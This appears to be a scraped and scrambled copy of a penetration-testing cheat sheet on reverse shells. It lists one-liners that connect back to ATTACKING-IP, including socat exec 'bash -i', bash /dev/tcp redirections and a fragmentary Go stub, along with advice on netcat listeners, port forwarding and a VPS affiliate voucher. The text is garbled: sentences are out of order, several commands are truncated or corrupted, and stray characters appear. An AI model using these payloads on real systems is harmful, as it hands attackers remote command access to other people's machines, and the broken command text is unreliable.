Source: socat tcp:ip:port exec: 'bash -i' ,pty,stderr,setsid,sigint,sane & Golang Reverse Shell echo ' package main import "os/exec" import "net" func main ()' #!/usr/bin/gawk -f Bash Reverse Shells exec /bin/bash 0&0 2>&0 0/dev/tcp/ATTACKING-IP/80 sh &196 2>&196 exec 5/dev/tcp/ATTACKING-IP/80Ĭat &5 >&5 done # or: while read line 0&5 >&5 done bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1 socat Reverse Shell
If you're attacking machine is behing a NAT router, you'll need to setup a port forward to the attacking machines IP / Port.ĪTTACKING-IP is the machine running your listening netcat session, port 80 is used in all examples below (for reasons mentioned above).
Your remote shell will need a listening netcat instance in order to connect back, a simple way to do this is using a cloud instance / VPS - Linode is a good choice as they give you a direct public IP so there is no NAT issues to worry about or debug, you can use this link to get a $100 Linode voucher. Updated to add the reverse shells submitted via Twitter - Original post date Setup Listening Netcat If you found this resource usefull you should also check out our penetration testing tools cheat sheet which has some additional reverse shells and other commands useful when performing penetration testing. At the bottom of the post are a collection of uploadable reverse shells, present in Kali Linux. During penetration testing if you’re lucky enough to find a remote command execution vulnerability, you’ll more often than not want to connect back to your attacking machine to leverage an interactive shell.īelow are a collection of reverse shells that use commonly installed programming languages, or commonly installed binaries (nc, telnet, bash, etc).